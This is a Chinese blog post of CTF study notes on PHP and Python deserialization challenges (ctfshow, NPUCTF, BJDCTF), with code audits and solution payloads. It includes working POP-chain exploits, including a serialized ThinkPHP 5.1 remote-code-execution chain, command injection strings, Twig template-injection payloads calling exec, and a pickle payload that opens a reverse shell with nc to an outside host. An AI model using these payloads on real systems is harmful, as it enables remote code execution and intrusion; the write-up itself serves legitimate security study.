0128学习记录

最新推荐文章于 2024-06-04 14:04:05 发布
最新推荐文章于 2024-06-04 14:04:05 发布
阅读量450 收藏
点赞数
分类专栏： 刷题记录
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/yuermon/article/details/113354263
版权

UNSERIALIZE4

*魔术方法的调用
<?php
class test{
    public $peguin;
    public $source;
    public $file
    public function __construct($file){
        $this->source = $file;
        echo 'welcome to '.$this->source."<br>";
    }
    public function __toString(){
        return $this->peguin->close();
    }
    public function __wakeup(){
        if(preg_match('/http|file|data|dict|\.\./i',$this->source)){
            echo "hacker!";
            $this->source = "index.php";
        }
    }
}
class good{
    public $joker;
    public function __call($name,$param){
        system($this->joker);
    }
}
?>

0x01:先验知识

__call() 当所调用的成员方法不存在（或者没有权限）该类时调用，用于对错误后做一些操作或者提示信息
__call() //在对象上下文中调用不可访问的方法时触发
__wakeup()函数 该魔术方法在反序列化的时候自动调用，为反序列化生成的对象做一些初始化操作 （这题要绕过这个魔术方法

0x02:代码审计

 #
	public function __construct($file){
        $this->source = $file;
        echo 'welcome to '.$this->source."<br>";
    }

#当用到__toString魔术方法的时候会调用close方法，但是close方法并没有定义，或者是被没有权限调用，这个时候就会自动调用__call魔术方法，实现命令执行	
	public function __toString(){
        return $this->peguin->close();
    }
#这样就要求$this->source必须是字符串
    public function __wakeup(){
        if(preg_match('/http|file|data|dict|\.\./i',$this->source)){
            echo "hacker!";
            $this->source = "index.php";
        }
    }
    public function __call($name,$param){
        system($this->joker);
    }

#wakeup魔术方法有漏洞
public function __wakeup(){
        if(preg_match('/http|file|data|dict|\.\./i',$this->source)){
            echo "hacker!";
            $this->source = "index.php";
        }
    }

0x03:解题

分析完代码之后的答题思路：

1.peguin=new good();  
2.$this->source是字符串 然后调用__toString 返回没有定义的close() 
3.调用了__call 执行system

wakeup在反序列化之前立即调用

而在调用这个函数的时候，如果source是一个字符串就会进行正则匹配，但如果source是一个类，则会先去找到source指向的类，php会先去寻找这个类中的__toString这个方法，那么就可以把source指向test类，执行test里面的方法

但是source又是字符串所以可以

$source=new test('');

因为之前在source这个点上卡住了，没想到指向类test再寻找toString方法，想着直接让source是字符串了 感谢姜少的poc

姜少的poc：

<?php
class test{
    public $peguin;
    public $source;
    public function __construct($file){
        $this->source =$file;
		$this->peguin = new good();
    }
}
class good{
    public $joker;
    public function __construct(){
		$this->joker = 'tac flag.php';
	}
}
$a = new test(new test(''));
echo urlencode(serialize($a));
?>

看了姜少的poc之后才想起来做过类似的题目

（[MRCTF]ezpop

CTFSHOW-反序列化

web264

*字符串逃逸
*序列化和session
error_reporting(0);
session_start();
class message{
    public $from;
    public $msg;
    public $to;
    public $token='user';
    public function __construct($f,$m,$t){
        $this->from = $f;
        $this->msg = $m;
        $this->to = $t;
    }
}
$f = $_GET['f'];
$m = $_GET['m'];
$t = $_GET['t'];
if(isset($f) && isset($m) && isset($t)){
    $msg = new message($f,$m,$t);
    $umsg = str_replace('fuck', 'loveU', serialize($msg));
    $_SESSION['msg']=base64_encode($umsg);
    echo 'Your message has been sent';
}
highlight_file(__FILE__);

message.php

session_start();
highlight_file(__FILE__);
include('flag.php');
class message{
    public $from;
    public $msg;
    public $to;
    public $token='user';
    public function __construct($f,$m,$t){
        $this->from = $f;
        $this->msg = $m;
        $this->to = $t;
    }
}
if(isset($_COOKIE['msg'])){
    $msg = unserialize(base64_decode($_SESSION['msg']));
    if($msg->token=='admin'){
        echo $flag;
    }
}

0x01:代码审计

根据message.php可知需要将token等于admin

if($msg->token=='admin'){
        echo $flag;
    }

index.php中存在

$umsg = str_replace('fuck', 'loveU', serialize($msg));

在字符串替换的时候出现字符串变长的情况，所以出现了字符串逃逸的漏洞

0x02:解题

?f=1&m=1&t=fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck";s:5:"token";s:5:"admin";}

因为还有

if(isset($_COOKIE['msg']))

所以还要cookie随便传一个msg，再访问message.php就可以了

web265

*地址相同
error_reporting(0);
include('flag.php');
highlight_file(__FILE__);
class ctfshowAdmin{
    public $token;
    public $password;
    public function __construct($t,$p){
        $this->token=$t;
        $this->password = $p;
    }
    public function login(){
        return $this->token===$this->password;
    }
}
$ctfshow = unserialize($_GET['ctfshow']);
$ctfshow->token=md5(mt_rand());
if($ctfshow->login()){
    echo $flag;
}

0x01:代码审计

public function login(){
        return $this->token===$this->password;
    }

$ctfshow->token=md5(mt_rand());
if($ctfshow->login()){
    echo $flag;
}

重点在于这几行代码，要求token===password成立，但是token后来有等于随机数，以为源码中没有mt_srand()函数的出现，所以不是伪随机数，那么这么时候可以让password的地址等于token，这样的就会让等式永真

0x02:解题

poc：

<?php
class ctfshowAdmin{
    public $token;
    public $password;
}
$a=new ctfshowAdmin();
$a->password=&$a->token;
echo serialize($a);
//O:12:"ctfshowAdmin":2:{s:5:"token";N;s:8:"password";R:2;}

得到flag

web266

源码：

highlight_file(__FILE__);
include('flag.php');
$cs = file_get_contents('php://input');
class ctfshow{
    public $username='xxxxxx';
    public $password='xxxxxx';
    public function __construct($u,$p){
        $this->username=$u;
        $this->password=$p;
    }
    public function login(){
        return $this->username===$this->password;
    }
    public function __toString(){
        return $this->username;
    }
    public function __destruct(){
        global $flag;
        echo $flag;
    }
}
$ctfshowo=@unserialize($cs);
if(preg_match('/ctfshow/', $cs)){
    throw new Exception("Error $ctfshowo",1);
}

0x01:代码审计

//可以抓包
$cs = file_get_contents('php://input');

PHP输入流php://input介绍

`php://input`是个可以访问请求的原始数据的只读流。`enctype="multipart/form-data"` 的时候 php://input 是无效的。 

if(preg_match('/ctfshow/', $cs)){
    throw new Exception("Error $ctfshowo",1);
}

当异常被抛出时，其后的代码不会继续执行，PHP 会尝试查找匹配的 "catch" 代码块。

如果异常没有被捕获，而且又没用使用 set_exception_handler() 作相应的处理的话，那么将发生一个严重的错误（致命错误），并且输出 "Uncaught Exception" （未捕获异常）的错误消息。

Try, throw 和 catch（通常跑出错误，一般会跟try catch配合使用）

所以如果正则匹配到的话，__destruct魔术方法就不会被调用

但是发现正则只是preg_match('/ctfshow/', $cs)，对大小写是敏感的，所以只要将ctfshow大写就可以绕过正则了

0x02:解题

poc：

class ctfshow{
    
}
$a=new ctfshow();
echo serialize($a);
//O:7:"CTFSHOW":0:{}

?web274

*thinkphp5

thinkphp5.1.x~5.2.x版本反序列化链挖掘分析

（等看懂了再记录自己的理解

poc：

<?php
namespace think;
abstract class Model{
    protected $append = [];
    private $data = [];
    function __construct(){
        $this->append = ["lin"=>["calc.exe","calc"]];
        $this->data = ["lin"=>new Request()];
    }
}
class Request
{
    protected $hook = [];
    protected $filter = "system";
    protected $config = [
        // 表单ajax伪装变量
        'var_ajax'         => '_ajax',  
    ];
    function __construct(){
        $this->filter = "system";
        $this->config = ["var_ajax"=>'lin'];
        $this->hook = ["visible"=>[$this,"isAjax"]];
    }
}


namespace think\process\pipes;

use think\model\concern\Conversion;
use think\model\Pivot;
class Windows
{
    private $files = [];

    public function __construct()
    {
        $this->files=[new Pivot()];
    }
}
namespace think\model;

use think\Model;

class Pivot extends Model
{
}
use think\process\pipes\Windows;
echo base64_encode(serialize(new Windows()));
?>

?lin=cat /f*
&data=TzoyNzoidGhpbmtccHJvY2Vzc1xwaXBlc1xXaW5kb3dzIjoxOntzOjM0OiIAdGhpbmtccHJvY2Vzc1xwaXBlc1xXaW5kb3dzAGZpbGVzIjthOjE6e2k6MDtPOjE3OiJ0aGlua1xtb2RlbFxQaXZvdCI6Mjp7czo5OiIAKgBhcHBlbmQiO2E6MTp7czozOiJsaW4iO2E6Mjp7aTowO3M6ODoiY2FsYy5leGUiO2k6MTtzOjQ6ImNhbGMiO319czoxNzoiAHRoaW5rXE1vZGVsAGRhdGEiO2E6MTp7czozOiJsaW4iO086MTM6InRoaW5rXFJlcXVlc3QiOjM6e3M6NzoiACoAaG9vayI7YToxOntzOjc6InZpc2libGUiO2E6Mjp7aTowO3I6OTtpOjE7czo2OiJpc0FqYXgiO319czo5OiIAKgBmaWx0ZXIiO3M6Njoic3lzdGVtIjtzOjk6IgAqAGNvbmZpZyI7YToxOntzOjg6InZhcl9hamF4IjtzOjM6ImxpbiI7fX19fX19

web275

源码：

class filter{
    public $filename;
    public $filecontent;
    public $evilfile=false;
    public function __construct($f,$fn){
        $this->filename=$f;
        $this->filecontent=$fn;
    }
    public function checkevil(){
        if(preg_match('/php|\.\./i', $this->filename)){
            $this->evilfile=true;
        }
        if(preg_match('/flag/i', $this->filecontent)){
            $this->evilfile=true;
        }
        return $this->evilfile;
    }
    public function __destruct(){
        if($this->evilfile){
            system('rm '.$this->filename);
        }
    }
}
if(isset($_GET['fn'])){
    $content = file_get_contents('php://input');
    $f = new filter($_GET['fn'],$content);
    if($f->checkevil()===false){
        file_put_contents($_GET['fn'], $content);
        copy($_GET['fn'],md5(mt_rand()).'.txt');
        unlink($_SERVER['DOCUMENT_ROOT'].'/'.$_GET['fn']);
        echo 'work done';
    }
    
}else{
    echo 'where is flag?';
}

0x01:代码审计

#post 
$content = file_get_contents('php://input');

#对象被销毁的时候调用，只要使得$this->evilfile为true就行了
#fn传执行的命令
public function __destruct(){
        if($this->evilfile){
            system('rm '.$this->filename);
        }
    }

if(preg_match('/php|\.\./i', $this->filename)){
            $this->evilfile=true;
        }
        if(preg_match('/flag/i', $this->filecontent)){
            $this->evilfile=true;
        }
#只要有一个满足就行了，但是因为filename是要执行的命令，所以filecontent要满足

0x02:解题

?fn=;tac flag.php
content=flag

web277

*python反序列化漏洞

K0rz3n

python反序列化漏洞：

原因：

利用：

<!--/backdoor?data= m=base64.b64decode(data) m=pickle.loads(m) -->

大佬的payload：

import pickle
import base64
class A(object):
	def __reduce__(self):
		return(eval,('__import__("os").popen("nc xxx.xxx.xxx.xxx 4567 -e /bin/sh").read()',))
a=A()
test=pickle.dumps(a)
print(base64.b64encode(test))

[NPUCTF2020]ReadlezPHP

*反序列化

view-source之后发现

那么就直接访问/time.php?source

得到php源码：

<?php
#error_reporting(0);
class HelloPhp
{
    public $a;
    public $b;
    public function __construct(){
        $this->a = "Y-m-d h:i:s";
        $this->b = "date";
    }
    public function __destruct(){
        $a = $this->a;
        $b = $this->b;
        echo $b($a);
    }
}
$c = new HelloPhp;
echo serialize($c);
if(isset($_GET['source']))
{
    highlight_file(__FILE__);
    die(0);
}
@$ppp = unserialize($_GET["data"]);

代码审计：

#当对象被销毁的时候会执行 $b($a)
#由此我们可知$b会是一个函数
#$a是我们要执行的代码
public function __destruct(){
        $a = $this->a;
        $b = $this->b;
        echo $b($a);
    }

poc:

<?php
class HelloPhp
{
    public $a;
    public $b;
    public function __construct(){
        $this->a = "phpinfo()";
        $this->b = "assert";
    }
}
$c = new HelloPhp;
echo serialize($c);
//O:8:"HelloPhp":2:{s:1:"a";s:9:"phpinfo()";s:1:"b";s:6:"assert";}

payload:

?data=O:8:"HelloPhp":2:{s:1:"a";s:9:"phpinfo()";s:1:"b";s:6:"assert";}

ctrl+f搜索flag即可找到flag

[BJDCTF]Cookie is so stable

*模板注入–Twig

参考：

一篇文章带你理解漏洞之SSTI漏洞

https://www.cnblogs.com/wangtanzhi/p/12330542.html

https://www.cnblogs.com/wkzb/p/12422190.html

https://blog.csdn.net/qq_41628669/article/details/106133130

https://www.cnblogs.com/zzjdbk/p/13049923.html
搬运模板注入过程：

Twig 
{{7*'7'}}  #输出49
Jinja
{{7*'7'}}  #输出7777777


测试：
在这里插入图片描述
在这里插入图片描述
所以可以确定是Twig模板注入

在 Twig 模板引擎里，{{ var }}  除了可以输出传递的变量以外，还能执行一些基本的表达式然后将其结果作为该模板变量的值
Twig 模板引擎在编译模板的过程中会计算 {{2*10}}  中的表达式 2*10 ，会将其返回值 20

相比于 Smarty ,Twig 无法调用静态方法，并且所有函数的返回值都转换为字符串，也就是我们不能使用 self:: 调用静态变量了，但是Twig 给我们提供了一个 _self, 虽然 _self 本身没有什么有用的方法，但是却有一个 env
env是指属性Twig_Environment对象，Twig_Environment对象有一个 setCache方法可用于更改Twig尝试加载和执行编译模板（PHP文件）的位置(不知道为什么官方文档没有看到这个方法，后来我找到了Twig 的源码中的 environment.php

根据hint
在这里插入图片描述
说明注入点再cookie，进行抓包
payload1：

{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}

在这里插入图片描述
payload2:

{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("cat /flag")}}

在这里插入图片描述

ameuu
关注
  • 0
    点赞
  • 踩
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
专栏目录
【buuctf】MRCTF2020-Ezpop小白详解
m0_73860001的博客
03-15 1042
真的很详细
0128瑞吉外卖压缩包
01-28
【标题】"0128瑞吉外卖压缩包"指的是一个特定的软件开发项目，...通过阅读这些代码，我们可以学习到如何使用Spring Boot构建一个实际的外卖服务系统，包括数据库交互、RESTful API设计、错误处理、日志记录等多个方面。
CTFSHOW-反序列化
Yb_140的博客
04-06 3534
web254 直接构造 ?username=xxxxxx&password=xxxxxx web255 这关开始使用cookie进行反序列化 <?php class ctfShowUser{ public $username='xxxxxx'; public $password='xxxxxx'; public $isVip=true; public function checkVip(){ return $this->
showimg.php,CTF-WEB-神盾局的秘密 #class#源文件读取#unserialize
weixin_33315077的博客
03-21 459
神盾局的秘密—— PCTF{W3lcome_To_Shi3ld_secret_Ar3a}描述这里有个通向神盾局内部网络的秘密入口，你能通过漏洞发现神盾局的秘密吗？http://web.jarvisoj.com:32768/分析抓包发现： showimg.php?img=c2hpZWxkLmpwZw==，c2hpZWxkLmpwZw==为base64后的shield.jpg。判断考点为读取源代码，试...
BUUCTF [MRCTF2020]Ezpop1反序列化漏洞 CTF-Web
最新发布
m0_72904009的博客
06-04 343
BUUCTF [MRCTF2020]Ezpop1反序列化漏洞
[CTF]CTFSHOW反序列化
Sapphire037的博客
01-20 3781
265 <?php /* # -*- coding: utf-8 -*- # @Author: h1xa # @Date: 2020-12-04 23:52:24 # @Last Modified by: h1xa # @Last Modified time: 2020-12-05 00:17:08 # @email: h1xa@ctfer.com # @link: https://ctfer.com */ error_reporting(0); include('flag.php');
[MRCTF2020]Ezpop
FUCKING12的博客
01-01 206
先创建2个show对象a,b,在最后反序列化的时候$a=new Show()会调用__wakeup()函数,此时a->source是b，b此时是一个Show()对象，就会调用b里面__toString()方法，此时b里面的str是Test()对象，Test()对象没有source变量，便会调用Test()里面的__get()方法，将Test()类里面的p创建为Modifier()，然后就会调用Modifier()里面的__invoke()方法，执行append()函数，实现文件执行的功能。
福建电力学习解决方案方案XXXX0128.pptx
09-30
系统将利用现有的人力资源系统，如已有的组织结构、汇报关系、学员信息和培训记录，以避免重复投资。它将涵盖培训计划和目录管理、教室培训管理、资源管理、在线学习流程的支持、交互式学习环境、课件管理系统以及...
0128、出租车计价器设计论文资料.rar
02-18
在提供的“0128、出租车计价器设计论文资料.rar”压缩包中，我们可以找到与该竞赛相关的资源，特别是关于出租车计价器的设计。这篇论文资料可能是参赛者在准备过程中用于研究和开发的一个重要参考。 出租车计价器...
0128、出租车计价器设计论文资料.zip
01-25
2. 计价器的工作原理：计价器通过读取车辆速度传感器的数据来估算行驶距离，同时记录行驶时间。在车辆停止或速度低于一定阈值时，会启动等待时间计时，以反映交通拥堵等情况对费用的影响。计价器内部有一套预设的...
mllib支持向量机的数据
09-09
Apache Spark 是一个用于大规模数据处理的开源集群计算系统，而MLlib是Spark提供的一个机器学习库，它提供了多种机器学习算法，包括分类、回归、聚类以及协同过滤等，并且支持特征选择与提取、管道、模型评估和实用...
MRCTF2020 Ezpop
Tajang的大千世界
07-10 525
打开靶机，哇，直接给源码 这道题的知识点是利用php魔术方法的相互关联，构造pop链，其实有的地方没太懂，群里Y1ng大佬还回复我了，好兴奋，这题他的wp也看过，接下来就按我的理解写 知道我对这道题理解多么蠢吗？简直蠢得不可理喻，我以为代码审计，读懂代码会和上次绕过一样的类型，后来证明我真的蠢，给大家看看我的代码审计 我是真得蠢。。。不说了，先来讲一波php魔术方法 __construct 当一个对象创建时被调用， __toString 当一个对象被当作一个字符串被调用。 __wakeup
ctfshow web入门 反序列化
2301_79442654的博客
03-24 653
分析代码：如果用户名和密码参数都存在，脚本会创建一个类的实例$user。接着，调用方法尝试登录。如果登录成功（即用户名和密码与类中的默认值匹配），并且用户被标记为VIP（$isVip为true），则调用方法输出$flag的值。如果登录失败或用户不是VIP，脚本将输出 "no vip, no flag"。要让程序返回true需要确保通过GET请求传递的用户名和密码与 ctfShowUser 类中定义的默认用户名和密码相匹配。默认的用户名和密码都是 'xxxxxx'。
ctfshow反序列化模块
whisper921的博客
04-07 6003
web254 GET传参即可： ?username=xxxxxx&password=xxxxxx 得到flag ctfshow{03b60d01-62ef-4703-8217-684bb53b866a} web255 web256 把PHP里面的username和password改成不一样的即可，然后和get传入的对应。 web257 web258 web259 web260 ...
file_get_contents("php://input")的使用方法
热门推荐
奋斗吧,CQS!
12-17 1万+
$this->must=json_decode(@file_get_contents('php://input'),true); 无意中看到我们与前端通信的这个基本参数，不是很明白对应的意思，找了篇相关文章：http://my.oschina.net/u/267858/blog/519403 $data = file_get_contents("php://input"); php:
[MRCTF2020]Ezpop—序列化pop链
weixin_43952190的博客
05-09 6690
Ezpop 序列化Pop链 利用几个类之间相互关联进行构造 文件包含漏洞 Modifier类中append函数使用了include()，会出现文件包含漏洞。 以下是题目内容： Welcome to index.php <?php //flag is in flag.php //WTF IS THIS? //Learn From https://ctf.ieki.xyz/library/php.html#%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E9%AD%94%
thinkphp5 文件处理类 延伸扩展
Salted fish in hand, I have the world.
03-06 3857
thinkphp5的手册中提出： File类继承了PHP的SplFileObject类 手册中在文件上传的地方只是提到了框架自身的一些函数，但是在文件上传后文件内容的处理没有提及，因为那是SplFileObject中的内容了，这里我简单总结了一下，在$file = $request->file('file');之后，对$file可以调用的一些函数，这些函数可以很方便的帮助我们做一些文件处理
JavaEE全栈学习笔记
"这是一份综合性的JavaEE学习笔记，由作者续祥整理，涵盖了从基础的Java知识到JavaEE的深入内容，还包括了Unix、Core Java、Java 5.0(Tiger)的新特性、XML以及Oracle数据库的相关学习资料。笔记详细介绍了各个主题的...
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值